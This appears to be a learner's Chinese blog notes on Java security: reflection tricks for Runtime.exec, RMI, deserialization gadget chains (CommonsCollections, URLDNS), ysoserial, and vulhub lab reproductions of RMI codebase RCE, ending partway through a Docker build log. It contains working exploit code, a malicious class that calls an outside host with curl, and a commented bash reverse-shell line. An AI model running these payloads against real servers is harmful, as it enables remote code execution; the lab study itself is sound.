Java安全学习笔记(一)

反射

Java中对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。(P神的定义)

反射中几位重要的方法
  • 获取类的方法:forname
  • 实例化类对象的方法:newInstance
  • 获取函数的方法:getMethod
  • 执行函数的方法:invoke
获取类的三种方式
  • obj.getClass() 如果上下文中存在某个类的实例obj,那么我们可以直接通过obj.getClass()来获取它的类。

    Runtime runtime = Runtime.getRuntime();
            System.out.println(runtime.getClass());
    // class java.lang.Runtime
    
  • Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接 拿它的 class 属性即可。这个⽅法其实不属于反射。

  • Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取

    Class clazz = Class.forName("java.lang.Runtime");
            System.out.println(clazz);
    // class java.lang.Runtime
    
使用newInstance不成功的一些原因
  1. 你使用的类没有无参构造函数
  2. 你使用的类构造函数是私有的

案例

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "whoami");

会报错image-20211102162734720

原因是Runtime类的构造方法是私有的

可以这样

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

getMethod的作用是通过反射获取一个类的特定的公有方法。

invoke的作用是执行方法,它的第一个参数是:

  • 如果这个方法是一个普通方法,那么第一个参数是类对象
  • 如果这个方法是一个静态方法,那么第一个参数是类

上述命令执行的payload可以分解为

Class clazz = Class.forName("java.lang.Runtime");
Method exec = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
exec.invoke(runtime, "calc.exe");

到这里P神提出了两个疑问

  • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类 呢?
  • 如果一个方法或构造方法是私有方法,我们是否能执行它呢?

第一个问题的解决方式,需要用到一个新的放射方法getConstructor

和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。 获取到构造函数后,我们使用 newInstance 来执行。

ProcessBuilder有两个构造函数

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String… command)

用第一种形式

主要传入List.class

Class clazz = Class.forName("java.lang.ProcessBuilder");
            ((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

利用反射的方式

Class clazz = Class.forName("java.lang.ProcessBuilder");
            clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

第二种形式

主要传入String[].class

Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

反射的方式

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));

第二个问题:如果一个方法或构造方法是私有方法,我们是否能执行它呢?

解决方式是getDeclared系列的反射,它与普通的getMethodgetConstructor区别是:

  • getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
  • getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私 有的方法,但从父类里继承来的就不包含了

实现代码

Class clazz = Class.forName("java.lang.Runtime");
        Constructor exec = clazz.getDeclaredConstructor();
        exec.setAccessible(true);
        clazz.getMethod("exec", String.class).invoke(exec.newInstance(), "calc.exe");

这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。

RMI

RMI全称是Remote Method Invocation,远程方法调用。

RMI Server

package org.vulhub.RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RmiServer {

   
    // interface继承自interface使用extends
    // interface 代表这个类没有字段 全是方法
     // ⼀个继承了 java.rmi.Remote 的接⼝ 其中定义了我们要调用的类
    public interface IRemoteHelloWorld extends Remote {
        // 这一句是什么意思?
        public String hello() throws RemoteException;
    }
    // extends 继承关键字
    // 使用 implements 关键字可以变相的使java具有多继承的特性
    // throw和throws就是异常相关的关键字
    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {

        protected RemoteHelloWorld() throws RemoteException {
            super();
        }
        // 定义我们要远程调⽤的函数
        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello world";
        }
    }
    // ⼀个主类,⽤来创建Registry
    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
    public static void main(String[] args) throws Exception {
        new RmiServer().start();
    }
}

一个RMI Server分为三部分

  1. 一个继承了java.rmi.Remote的接口,其中定义我们要远程调用的函数,比如这里的hello()
  2. 一个实现了此接口的类
  3. 一个主类,用来创建Register,并将上面的类实例化后绑定到一个地址,这就是我们所谓的Server了。

RMI Client

package org.vulhub.Train;
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
 public static void main(String[] args) throws Exception {
 // 使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象
 RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://172.20.10.1:1099/Hello");
 String ret = hello.hello();
 System.out.println( ret);
 }
}

客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在 本地使⽤⼀样了。 虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的,但实际上我们还是需要知道有哪些⽅法,这时 候接⼝的重要性就体现了,这也是为什么我们前⾯要继承 Remote 并将我们需要调⽤的⽅法写在接⼝ IRemoteHelloWorld ⾥,因为客户端也需要⽤到这个接⼝。

一个RMI过程有以下三个参与者:

  • RMI Registey
  • RMI Server
  • RMI Client
如何攻击RMI Registry?

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。 不过list和lookup方法可以远程调用。 list方法可以列出目标上所有绑定的对象:

// list方法可以列出目标上所有绑定的对象
        String[] s = Naming.list("rmi://172.20.10.131:1099");
        for (int i = 0; i < s.length; i++) {
            System.out.println(s[i]);
        }
// lookup作用就是获得某个远程对象
        RmiServer.IRemoteHelloWorld hello = (RmiServer.IRemoteHelloWorld)Naming.lookup("rmi://172.20.10.131:1099/Hello");
        String ret = hello.hello();
        System.out.println( ret);
RMI利用codebase执行任意代码

有满足如下条件的RMI服务器才能被攻击:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false 其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置: https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

复现代码

// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}
    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = 0;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }
        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("refObj", h);
    }
    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}
    
// client.policy
grant {
    permission java.security.AllPermission;
};

编译及运行

javac *.java
java -Djava.rmi.server.hostname=172.20.10.131 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

建立一个RMIClient.java:

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {
    public class Payload extends ArrayList<Integer> {
    }

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://172.20.10.131:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li));
    }

    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才 会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

运行RMIClient:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

我们只需要编译一个恶意类,将其class文件放置在Web服务器的 /RMIClient$Payload.class 即可。

恶意类

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

    private static final long serialVersionUID = 1L;

    static {
        try{
            Runtime.getRuntime().exec("touch /tmp/Success");
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    public class Payload extends ArrayList<Integer>
    {}

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://172.20.10.131:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li)); }
    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

想知道原理,可以通过抓包来查看RMI做了什么,跟着P神文章做了一遍,通过wireshark抓包,抓到一些进行了序列化的数据,用GitHub - NickstaDB/SerializationDumper: A tool to dump Java serialization streams in a more human readable form. 工具查看序列化数据,但是看不懂。

反序列化

Java、php、Python反序列化有什么异同?

Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式 生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。 但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者 在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。 当然,PHP中也提供了一个魔术方法叫 __wakeup ,在反序列化的时候进行触发。很多人会认为Java的 readObject 和PHP的 __wakeup 类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决 的问题稍微有些差异。 Java设计 readObject 的思路和PHP的 __wakeup 不同点在于: readObject 倾向于解决“反序列化时如 何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的 问题。

PHP反序列化
Java反序列化
Python反序列化
ysoserial工具

https://github.com/frohoff/ysoserial

生成CommonsCollections利用poc

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
URLDNS

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
common-collections

poc1

package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        // Transformer是⼀个接⼝,它只有⼀个待实现的⽅法
        Transformer[] transformers = new Transformer[]{
                // ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
                //对象,并在transform⽅法将这个对象再返回
                // 所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作
                new ConstantTransformer(Runtime.getRuntime()),
                // InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
                //列化能执⾏任意代码的关键。
                // 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
                //是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
                new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        // ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
        //在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        // TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
        //以执⾏⼀个回调。
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        // 触发执行Transformer回调
        outerMap.put("test", "xxxx");
    }
}

poc2

package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        // 反序列化 不能序列化Runtime 因为没有实现 java.io.Serializeable
//        Method f = Runtime.class.getMethod("getRuntime");
//        Runtime r = (Runtime) f.invoke(null);
//        r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        // Transformer是⼀个接⼝,它只有⼀个待实现的⽅法
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc.exe" }),
        };

        // ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
        //在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,
        Transformer transformerChain = new
                ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        innerMap.put("value", "xxxx");
        // TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
        //以执⾏⼀个回调。
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        // 触发执行Transformer回调
        //        outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }

}
小结

看了URLDNScommon-collections这两条链子的利用和原理,利用倒是会了,原理确实是看不懂,也许是因为没有java相关的底子,我不知道是不是该继续看下去,因为确实挺费劲的,因为上次ctf题碰到java反序列化的题,做不起,所有才来学习java反序列化,但是java反序列化的坑很深,也并非一周两周就能够掌握,迷茫了。目前想法就是,找些环境来实践,先不管原理,先会利用起来,至少ctf中遇到能做得起。

Java RMI codebase 远程代码执行漏洞复现

复现步骤

https://vulhub.org/#/environments/java/rmi-codebase/

使用Docker拉取漏洞环境

root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/9 : FROM openjdk:8u222-jdk
 ---> fcb6c0ce31f9
Step 2/9 : LABEL maintainer="phithon <root@leavesongs.com>"
 ---> Using cache
 ---> 68434cb7eb62
Step 3/9 : ENV RMIIP="127.0.0.1"
 ---> Using cache
 ---> 57428be9e0ea
Step 4/9 : COPY src/ /usr/src/
 ---> 0511fe1104fc
Step 5/9 : WORKDIR /usr/src
 ---> Running in 5bb6dbc8842c
Removing intermediate container 5bb6dbc8842c
 ---> 81322e0babb4
Step 6/9 : RUN set -ex     && javac *.java
 ---> Running in 985d742f1604
+ javac Calc.java ICalc.java RemoteRMIServer.java
Removing intermediate container 985d742f1604
 ---> 679d43986c84
Step 7/9 : EXPOSE 1099
 ---> Running in 1601dc557ad0
Removing intermediate container 1601dc557ad0
 ---> e2d1bb14a7ab
Step 8/9 : EXPOSE 64000
 ---> Running in 62b7eb3c5aff
Removing intermediate container 62b7eb3c5aff
 ---> 9da81fd4e87c
Step 9/9 : CMD ["bash", "-c", "java -Djava.rmi.server.hostname=${RMIIP} -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer"]
 ---> Running in a66f149ea8b5
Removing intermediate container a66f149ea8b5
 ---> d58e781c5c25
Successfully built d58e781c5c25
Successfully tagged rmi-codebase_rmi:latest

启动环境

docker-compose run -e RMIIP=your-ip -p 1099:1099 -p 64000:64000 rmi
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 -p 64000:64000 rmi
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
setup SecurityManager

因为是在云服务器上,执行反弹shell的话,无法反弹到本地主机,所以这里准备执行一条命令curl http://xx.xx.xx.xx:8000/exp 来验证命令是否被执行

首先构造一个恶意类

RMIClient.java


import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

    private static final long serialVersionUID = 1L;

    static {
        try{
//            Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.1/4444 0>&1"});
            Runtime.getRuntime().exec("curl xx.xx.xx.xx:8000/exp");
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    public class Payload extends ArrayList<Integer>
    {}

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://xx.xx.xx.xx:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li)); }
    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}
// xx.xx.xx.xx 替换成云服务器地址

编译

javac RMIClient.java

会得到两个文件RMIClient$Payload.classRMIClient.class

image-20211106120324693

然后将这两个文件上传至云服务器,用python3 -m http.server 启动一个http服务器进行监听。

ubuntu@VM-0-12-ubuntu:~/Temp$ ls
 RMIClient.class  'RMIClient$Payload.class'
ubuntu@VM-0-12-ubuntu:~/Temp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

之所以这样做是因为正常执行的时候,我们可以通过-Djava.rmi.server.codebase=http://xx.xx.xx.xx/控制codebase

而这个codebase有什么作用呢?

P神说的

既然这个Java系列的文章要尽量全面地梳理Java知识,我们不妨将时间线拉的久远一些……
曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需
要指定一个codebase属性,比如:

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则
Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为
Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻
找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?

对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去
CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

接下来使用一个正常的客户端进行连接

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {
    public class Payload extends ArrayList<Integer> {
    }

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://xx.xx.xx.xx:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li));
    }

    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

先编译

javac RMIClient.java
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

这里的 http://example.com/ 就是刚刚python监听的地址

F:\Code\JAVA\RMI2\src>javac RMIClient.java

F:\Code\JAVA\RMI2\src>java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://xx.xx.xx.xx:8000/ RMIClient
Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607595
, local class serialVersionUID = 1
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:275)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
        at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:194)
        at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:148)
        at com.sun.proxy.$Proxy0.sum(Unknown Source)
        at RMIClient.lookup(RMIClient.java:16)
        at RMIClient.main(RMIClient.java:20)
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607595
, local class serialVersionUID = 1
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:348)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607
595, local class serialVersionUID = 1
        at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:699)
        at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1885)
        at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2042)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
        at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
        at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
        at sun.rmi.server.UnicastRef.unmarshalValue(UnicastRef.java:322)
        at sun.rmi.server.UnicastServerRef.unmarshalParametersUnchecked(UnicastServerRef.java:629)
        at sun.rmi.server.UnicastServerRef.unmarshalParameters(UnicastServerRef.java:617)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:338)
        ... 12 more


可以看到这里报了很多错误,但是没有关系,因为我们的命令已经成功执行。

看看刚刚python监听的日志

ubuntu@VM-0-12-ubuntu:~/Temp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /RMIClient$Payload.class HTTP/1.1" 200 -
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /RMIClient.class HTTP/1.1" 200 -
121.4.65.44 - - [06/Nov/2021 12:11:43] code 404, message File not found
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /exp HTTP/1.1" 404 -

这里不仅读取了RMIClient$Payload.classRMIClient.class文件,还请求了/exp ,说明成功执行了命令。

复现完成。

以下复现主要学习ysoserial工具的使用

Java RMI Registry 反序列化漏洞(<=jdk8u111)

搭建环境

https://vulhub.org/#/environments/java/rmi-registry-bind-deserialization/

docker-compose build
docker-compose run -e RMIIP=your-ip -p 1099:1099 rmi
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/12 : FROM maven:3-jdk-8 AS builder
 ---> cf7c6bc6ea12
Step 2/12 : LABEL MAINTAINER="phithon <root@leavesongs.com>"
 ---> Using cache
 ---> 828f56e5b565
Step 3/12 : COPY ./src/code/ /usr/src/
 ---> Using cache
 ---> 004e82609029
Step 4/12 : WORKDIR /usr/src
 ---> Using cache
 ---> c9f14a7aef0f
Step 5/12 : RUN cd /usr/src;     mvn -U clean package -Dmaven.test.skip=true --settings settings.xml
 ---> Using cache
 ---> 27cbdf63515c
Step 6/12 : FROM openjdk:8u111-jre
 ---> e44d62cf8862
Step 7/12 : WORKDIR /root
 ---> Using cache
 ---> 313347366d80
Step 8/12 : ENV RMIIP="127.0.0.1"
 ---> Using cache
 ---> 90e0b68b0433
Step 9/12 : COPY --from=builder /usr/src/target/train-1.0-SNAPSHOT-all.jar /root/train-1.0-SNAPSHOT-all.jar
 ---> Using cache
 ---> be0e1ec1469d
Step 10/12 : COPY src/client.policy /root/
 ---> Using cache
 ---> 9baa04a82cb7
Step 11/12 : EXPOSE 1099
 ---> Using cache
 ---> eb629a8ecc8a
Step 12/12 : CMD ["bash", "-c", "java -cp train-1.0-SNAPSHOT-all.jar -Djdk.xml.enableTemplatesImplDeserialization=true -Djava.rmi.server.hostname=${RMIIP} -Djava.security.manager -Djava.security.policy=/root/client.policy train.rmi.Server"]
 ---> Using cache
 ---> 77e422e51645
Successfully built 77e422e51645
Successfully tagged rmi-registry-bind-deserialization_rmi:latest
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/12 : FROM maven:3-jdk-8 AS builder
 ---> cf7c6bc6ea12
Step 2/12 : LABEL MAINTAINER="phithon <root@leavesongs.com>"
 ---> Using cache
 ---> 828f56e5b565
Step 3/12 : COPY ./src/code/ /usr/src/
 ---> Using cache
 ---> 004e82609029
